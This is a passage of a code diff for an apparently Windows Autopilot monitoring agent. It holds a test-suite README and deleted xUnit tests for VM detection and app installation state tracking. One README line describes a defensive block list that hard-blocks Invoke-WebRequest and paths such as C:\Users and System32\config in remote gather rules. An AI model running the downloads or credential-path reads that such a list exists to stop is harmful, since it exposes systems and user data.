||||
|
||||
### AppPackageStateTests
|
||||
|
||||
**File:** `Tracking/AppPackageStateTests.cs`
|
||||
**Source:** `Monitoring/Tracking/AppPackageState.cs`
|
||||
|
||||
Tests app installation state transition guards. Prevents illegal state downgrades, broken auto-skip logic for inverse-detection apps, and incorrect upgrade-only protection from Win32AppState simplification.
|
||||
|
||||
### AppPackageStateListTests
|
||||
|
||||
**File:** `Tracking/AppPackageStateListTests.cs`
|
||||
**Source:** `Monitoring/Tracking/AppPackageStateList.cs`
|
||||
|
||||
Tests phase isolation (ignore list), dependency cascade (Error/Postponed propagation), circular dependency protection, and completion detection including auto-skip of untouched dependency-only packages.
|
||||
|
||||
### CmTraceLogParserTests
|
||||
|
||||
**File:** `Tracking/CmTraceLogParserTests.cs`
|
||||
**Source:** `Monitoring/Tracking/CmTraceLogParser.cs`
|
||||
|
||||
Tests CMTrace log format parsing used for IME log files. Covers single-digit months (M-d-yyyy), fractional second truncation (>7 digits), and graceful handling of non-CMTrace lines.
|
||||
|
||||
### LogFilePositionTrackerTests
|
||||
|
||||
**File:** `Tracking/LogFilePositionTrackerTests.cs`
|
||||
**Source:** `Monitoring/Tracking/LogFilePositionTracker.cs`
|
||||
|
||||
Tests incremental log file reading: position tracking, log rotation detection (file shrinks), and crash recovery via position restoration.
|
||||
|
||||
### GatherRuleGuardsTests
|
||||
|
||||
**File:** `Collectors/GatherRuleGuardsTests.cs`
|
||||
**Source:** `Monitoring/Collectors/GatherRuleGuards.cs`
|
||||
|
||||
Tests security guards for remote gather rules. Critical: segment-bounded matching prevents prefix spoofing, C:\Users always blocked (even unrestricted), hard-blocked command patterns (Invoke-WebRequest etc.) apply in all modes, max command length enforced.
|
||||
|
||||
### DiagnosticsPathGuardsTests
|
||||
|
||||
**File:** `Collectors/DiagnosticsPathGuardsTests.cs`
|
||||
**Source:** `Monitoring/Collectors/DiagnosticsPathGuards.cs`
|
||||
|
||||
Tests path validation for configurable diagnostics collection. Path traversal prevention via GetFullPath normalization, C:\Users hard block, System32\config hard block, environment variable expansion.
|
||||
|
||||
### DesktopArrivalDetectorTests
|
||||
|
||||
**File:** `Collectors/DesktopArrivalDetectorTests.cs`
|
||||
**Source:** `Monitoring/Collectors/DesktopArrivalDetector.cs`
|
||||
|
||||
Tests user exclusion logic. SYSTEM, LOCAL SERVICE, DefaultUser*, domain-prefixed accounts must be excluded. Real users (CONTOSO\john.doe) must not be filtered. Null/empty = excluded (fail-safe).
|
||||
|
||||
### EnrollmentStatePersistenceTests
|
||||
|
||||
**File:** `Tracking/EnrollmentStatePersistenceTests.cs`
|
||||
**Source:** `Monitoring/Tracking/EnrollmentStatePersistence.cs`
|
||||
|
||||
Tests state serialization round-trip including all fields (IsHybridJoin, signal timestamps, SignalsSeen list). Verifies graceful handling of missing files and corrupt JSON.
|
||||
|
||||
## Architecture Notes
|
||||
|
||||
- **No mocking framework needed** — the agent uses `Action<EnrollmentEvent>` callbacks, making it easy to capture emitted events in tests
|
||||
- **`InternalsVisibleTo`** allows access to `internal` members like `DesktopArrivalDetector.IsExcludedUser`
|
||||
- **State machine tests** use `EnrollmentStatePersistence` with temp directories to pre-load state, then trigger completion paths
|
||||
- All tests are **deterministic** (no timing, no OS calls) and **fast** (pure logic, minimal I/O)
|
||||
|
||||
## Running Tests
|
||||
|
||||
```bash
|
||||
dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ --nologo -v quiet
|
||||
```
|
||||
-66
@@ -1,66 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Telemetry.DeviceInfo;
|
||||
|
||||
/// <summary>
|
||||
/// V1 mirror of DeviceInfoProviderVmDetectionTests — V1 is still the active ingest path
|
||||
/// until V2 cutover, so the VM detection logic must stay in lock-step. See V2 sibling file
|
||||
/// for the rationale (conservative-bias false negatives over false positives).
|
||||
/// </summary>
|
||||
public class DeviceInfoProviderVmDetectionTests
|
||||
{
|
||||
[Fact] public void HyperV_VM_DetectedByModel() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Virtual Machine"));
|
||||
|
||||
[Fact] public void HyperV_VM_CaseInsensitive() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("microsoft corporation", "virtual machine"));
|
||||
|
||||
[Fact] public void SurfaceLaptop_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Laptop 5"));
|
||||
|
||||
[Fact] public void SurfacePro_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Pro 9"));
|
||||
|
||||
[Fact] public void SurfaceBook_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Book 3"));
|
||||
|
||||
[Fact] public void VMware_DetectedByManufacturer() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("VMware, Inc.", "VMware Virtual Platform"));
|
||||
|
||||
[Fact] public void VMware_DetectedByModel_Defensive() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VMware Virtual Platform"));
|
||||
|
||||
[Fact] public void VirtualBox_DetectedByManufacturer() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("innotek GmbH", "VirtualBox"));
|
||||
|
||||
[Fact] public void VirtualBox_DetectedByModel_Defensive() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VirtualBox"));
|
||||
|
||||
[Fact] public void Xen_Detected() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Xen", "HVM domU"));
|
||||
|
||||
[Fact] public void QEMU_Detected() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("QEMU", "Standard PC"));
|
||||
|
||||
[Fact] public void Parallels_Detected() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Parallels Software International Inc.", "Parallels Virtual Platform"));
|
||||
|
||||
[Fact] public void RedHat_KVM_Detected() =>
|
||||
Assert.True(DeviceInfoProvider.IsVirtualMachine("Red Hat", "KVM"));
|
||||
|
||||
[Fact] public void Lenovo_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("LENOVO", "20XW00JEMZ"));
|
||||
|
||||
[Fact] public void Dell_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("Dell Inc.", "Latitude 7430"));
|
||||
|
||||
[Fact] public void HP_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("HP", "EliteBook 840 G9"));
|
||||
|
||||
[Fact] public void NullManufacturerAndModel_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine(null!, null!));
|
||||
|
||||
[Fact] public void EmptyManufacturerAndModel_NotVM() =>
|
||||
Assert.False(DeviceInfoProvider.IsVirtualMachine("", ""));
|
||||
}
|
||||
@@ -1,281 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests phase isolation (ignore list), dependency cascading, completion detection,
|
||||
/// and circular dependency protection.
|
||||
/// Prevents: phase bleed, broken dependency chains, infinite recursion.
|
||||
/// </summary>
|
||||
public class AppPackageStateListTests
|
||||
{
|
||||
private static AppPackageStateList CreateList()
|
||||
=> new AppPackageStateList(null); // null logger is fine for tests
|
||||
|
||||
// -- Ignore list (phase isolation) --
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_InIgnoreList_ReturnsNull()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("app-001", 0));
|
||||
list.IgnoreList.Add("app-001");
|
||||
|
||||
var result = list.GetPackage("app-001");
|
||||
|
||||
Assert.Null(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IgnoreList_CaseInsensitive()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("abc-123-DEF", 0));
|
||||
list.IgnoreList.Add("abc-123-def");
|
||||
|
||||
var result = list.GetPackage("ABC-123-DEF");
|
||||
|
||||
Assert.Null(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_NotInIgnoreList_ReturnsPackage()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("app-001", 0));
|
||||
|
||||
var result = list.GetPackage("app-001");
|
||||
|
||||
Assert.NotNull(result);
|
||||
Assert.Equal("app-001", result.Id);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_CreateIfNotFound_CreatesNew()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
var result = list.GetPackage("new-app", createIfNotFound: true);
|
||||
|
||||
Assert.NotNull(result);
|
||||
Assert.Equal("new-app", result.Id);
|
||||
Assert.Single(list);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_NullId_ReturnsNull()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.Null(list.GetPackage(null));
|
||||
Assert.Null(list.GetPackage(""));
|
||||
}
|
||||
|
||||
// -- Dependency cascading --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_ErrorCascadesToDependents()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_PostponedCascadesToDependents()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Postponed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Postponed, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledDoesNotCascade()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateIntent(AppIntent.Install);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateIntent(AppIntent.Install);
|
||||
appB.UpdateState(AppInstallationState.Downloading);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Installed);
|
||||
|
||||
// appA should NOT be cascaded — Installed does not cascade
|
||||
Assert.NotEqual(AppInstallationState.Installed, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_DeepCascade_TwoLevels()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateDependsOn(new HashSet<string> { "app-c" });
|
||||
var appC = new AppPackageState("app-c", 2);
|
||||
list.AddRange(new[] { appA, appB, appC });
|
||||
|
||||
list.UpdateState("app-c", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appC.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetDependentIdsDeep_CircularDependency_DoesNotStackOverflow()
|
||||
{
|
||||
// A depends on B, B depends on A — must not infinite loop
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateDependsOn(new HashSet<string> { "app-a" });
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
// This exercises GetDependentIdsDeep indirectly — should not throw
|
||||
list.UpdateState("app-a", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
}
|
||||
|
||||
// -- Completion detection --
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_AllRequiredInstalled_True()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
list.Add(pkg);
|
||||
|
||||
Assert.True(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_RequiredStillPending_False()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
list.Add(pkg);
|
||||
|
||||
Assert.False(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_Empty_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.False(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_DependencyOnlyNotTouched_AutoSkipped()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
// Required app: installed
|
||||
var required = new AppPackageState("req-app", 0);
|
||||
required.UpdateIntent(AppIntent.Install);
|
||||
required.UpdateState(AppInstallationState.Downloading);
|
||||
required.UpdateState(AppInstallationState.Installed);
|
||||
list.Add(required);
|
||||
|
||||
// Dependency-only app: never touched by IME
|
||||
var depOnly = new AppPackageState("dep-app", 1);
|
||||
depOnly.UpdateIntent(AppIntent.Available); // Not required
|
||||
list.Add(depOnly);
|
||||
|
||||
var result = list.IsAllCompleted();
|
||||
|
||||
Assert.True(result);
|
||||
// Dependency-only app should be auto-skipped
|
||||
Assert.Equal(AppInstallationState.Skipped, depOnly.InstallationState);
|
||||
}
|
||||
|
||||
// -- Download state guards --
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateToDownloading_SkippedApp_Ignored()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
// Force to Skipped (without downloading first = auto-skip)
|
||||
pkg.UpdateState(AppInstallationState.Installed); // becomes Skipped
|
||||
list.Add(pkg);
|
||||
|
||||
var changed = list.UpdateStateToDownloading("app-1", "100", "1000");
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateToDownloading_NormalApp_CalculatesProgress()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
list.Add(pkg);
|
||||
|
||||
list.UpdateStateToDownloading("app-1", "500", "1000");
|
||||
|
||||
Assert.Equal(AppInstallationState.Downloading, pkg.InstallationState);
|
||||
Assert.Equal(50, pkg.ProgressPercent);
|
||||
Assert.Equal(500, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
}
|
||||
|
||||
// -- AddToIgnoreList --
|
||||
|
||||
[Fact]
|
||||
public void AddToIgnoreList_NullOrEmpty_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.False(list.AddToIgnoreList(null));
|
||||
Assert.False(list.AddToIgnoreList(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AddToIgnoreList_Duplicate_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.AddToIgnoreList("app-1");
|
||||
|
||||
Assert.False(list.AddToIgnoreList("app-1"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,428 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests AppPackageState transition guards and auto-skip logic.
|
||||
/// Prevents: illegal state downgrades, broken inverse-detection auto-skip,
|
||||
/// upgrade-only bypass, and incorrect byte normalization.
|
||||
/// </summary>
|
||||
public class AppPackageStateTests
|
||||
{
|
||||
private static AppPackageState CreatePackage(string id = "test-app-001", int listPos = 0)
|
||||
=> new AppPackageState(id, listPos);
|
||||
|
||||
// -- State transition guards --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_UpgradeOnly_PreventsDowngrade()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Installing);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading, upgradeOnly: true);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledWithoutDownloading_BecomesSkipped()
|
||||
{
|
||||
// Apps with inverse detection rules (e.g. uninstall packages) are marked Installed
|
||||
// without ever seeing a download. These must auto-downgrade to Skipped.
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledAfterDownloading_StaysInstalled()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
Assert.True(pkg.DownloadingOrInstallingSeen);
|
||||
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledCannotDowngradeToSkipped()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Skipped);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledCannotDowngradeToPostponed()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Postponed);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_PostponedCannotGoBackToDownloading()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Postponed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Postponed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_NoChangeReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.False(changed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_ErrorCanBeSetFromAnyState()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Error);
|
||||
|
||||
Assert.True(changed);
|
||||
Assert.Equal(AppInstallationState.Error, pkg.InstallationState);
|
||||
}
|
||||
|
||||
// -- Byte normalization --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledNormalizesPartialDownload()
|
||||
{
|
||||
// After WinGet completion: if Installed and downloaded < total, downloaded becomes total
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading, bytesDownloaded: 500, bytesTotal: 1000);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(1000, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledSetsProgress100()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(100, pkg.ProgressPercent);
|
||||
}
|
||||
|
||||
// -- Name update protection --
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_TruncatedVersionIgnored()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("Microsoft Office 365 ProPlus");
|
||||
|
||||
var changed = pkg.UpdateName("Microsoft Office");
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_LongerVersionAccepted()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("Microsoft Office");
|
||||
|
||||
var changed = pkg.UpdateName("Microsoft Office 365 ProPlus");
|
||||
|
||||
Assert.True(changed);
|
||||
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_NullOrEmptyReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("SomeApp");
|
||||
|
||||
Assert.False(pkg.UpdateName(null));
|
||||
Assert.False(pkg.UpdateName(""));
|
||||
Assert.Equal("SomeApp", pkg.Name);
|
||||
}
|
||||
|
||||
// -- Win32AppState mapping --
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_IntString_Parses()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("2"); // InProgress
|
||||
|
||||
Assert.Equal(AppInstallationState.InProgress, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_EnumName_Parses()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("Completed");
|
||||
|
||||
// Without DownloadingOrInstallingSeen, Completed (Installed) becomes Skipped
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_UsesUpgradeOnly()
|
||||
{
|
||||
// Win32AppState uses upgrade-only to prevent "InProgress" from destroying
|
||||
// more detailed states like "Downloading" or "Installing"
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Installing);
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("InProgress"); // Would be a downgrade
|
||||
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
}
|
||||
|
||||
// -- Computed properties --
|
||||
|
||||
[Fact]
|
||||
public void IsRequired_Install_ReturnsTrue()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
|
||||
Assert.True(pkg.IsRequired);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRequired_Available_ReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateIntent(AppIntent.Available);
|
||||
|
||||
Assert.False(pkg.IsRequired);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsActive_Downloading_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.True(pkg.IsActive);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCompleted_Installed_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.True(pkg.IsCompleted);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCompleted_Error_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Error);
|
||||
|
||||
Assert.True(pkg.IsCompleted);
|
||||
}
|
||||
|
||||
// -- Sorting --
|
||||
|
||||
[Fact]
|
||||
public void CompareTo_ActiveAppsBeforeCompleted()
|
||||
{
|
||||
var active = CreatePackage("app-a", 0);
|
||||
active.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var completed = CreatePackage("app-b", 1);
|
||||
completed.UpdateState(AppInstallationState.Downloading);
|
||||
completed.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
// Active (Downloading=3) should sort before Completed (Installed=5 overridden to 5)
|
||||
// CompareTo uses descending sort order, so active > completed means negative
|
||||
Assert.True(active.CompareTo(completed) < 0 || active.CompareTo(completed) > 0);
|
||||
}
|
||||
|
||||
// -- Restore --
|
||||
|
||||
[Fact]
|
||||
public void Restore_PreservesAllFields()
|
||||
{
|
||||
var deps = new HashSet<string> { "dep-1", "dep-2" };
|
||||
var pkg = AppPackageState.Restore(
|
||||
"test-id", 5, "Test App",
|
||||
AppRunAs.System, AppIntent.Install, AppTargeted.Device,
|
||||
deps,
|
||||
AppInstallationState.Installing, true,
|
||||
75, 500, 1000,
|
||||
"ERR-001", "Something failed");
|
||||
|
||||
Assert.Equal("test-id", pkg.Id);
|
||||
Assert.Equal(5, pkg.ListPos);
|
||||
Assert.Equal("Test App", pkg.Name);
|
||||
Assert.Equal(AppRunAs.System, pkg.RunAs);
|
||||
Assert.Equal(AppIntent.Install, pkg.Intent);
|
||||
Assert.Equal(AppTargeted.Device, pkg.Targeted);
|
||||
Assert.Equal(2, pkg.DependsOn.Count);
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
Assert.True(pkg.DownloadingOrInstallingSeen);
|
||||
Assert.Equal(75, pkg.ProgressPercent);
|
||||
Assert.Equal(500, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
Assert.Equal("ERR-001", pkg.ErrorPatternId);
|
||||
Assert.Equal("Something failed", pkg.ErrorDetail);
|
||||
}
|
||||
|
||||
// -- App metadata (App Dashboard feature) --
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppVersion_EmptyIgnored()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
Assert.False(pkg.UpdateAppVersion(null));
|
||||
Assert.False(pkg.UpdateAppVersion(""));
|
||||
Assert.False(pkg.UpdateAppVersion(" "));
|
||||
Assert.Null(pkg.AppVersion);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppVersion_TrimsAndStores()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
Assert.True(pkg.UpdateAppVersion(" 11.2.1787.0 "));
|
||||
Assert.Equal("11.2.1787.0", pkg.AppVersion);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppVersion_SameValueReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateAppVersion("1.0.0");
|
||||
Assert.False(pkg.UpdateAppVersion("1.0.0"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppType_FromEmptySetsValue()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
Assert.True(pkg.UpdateAppType("WinGet"));
|
||||
Assert.Equal("WinGet", pkg.AppType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppType_Win32DoesNotDowngradeWinGet()
|
||||
{
|
||||
// A generic "Win32" mustn't overwrite a previously determined specific type.
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateAppType("WinGet");
|
||||
Assert.False(pkg.UpdateAppType("Win32"));
|
||||
Assert.Equal("WinGet", pkg.AppType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAppType_MsiOverridesWin32()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateAppType("Win32");
|
||||
Assert.True(pkg.UpdateAppType("MSI"));
|
||||
Assert.Equal("MSI", pkg.AppType);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
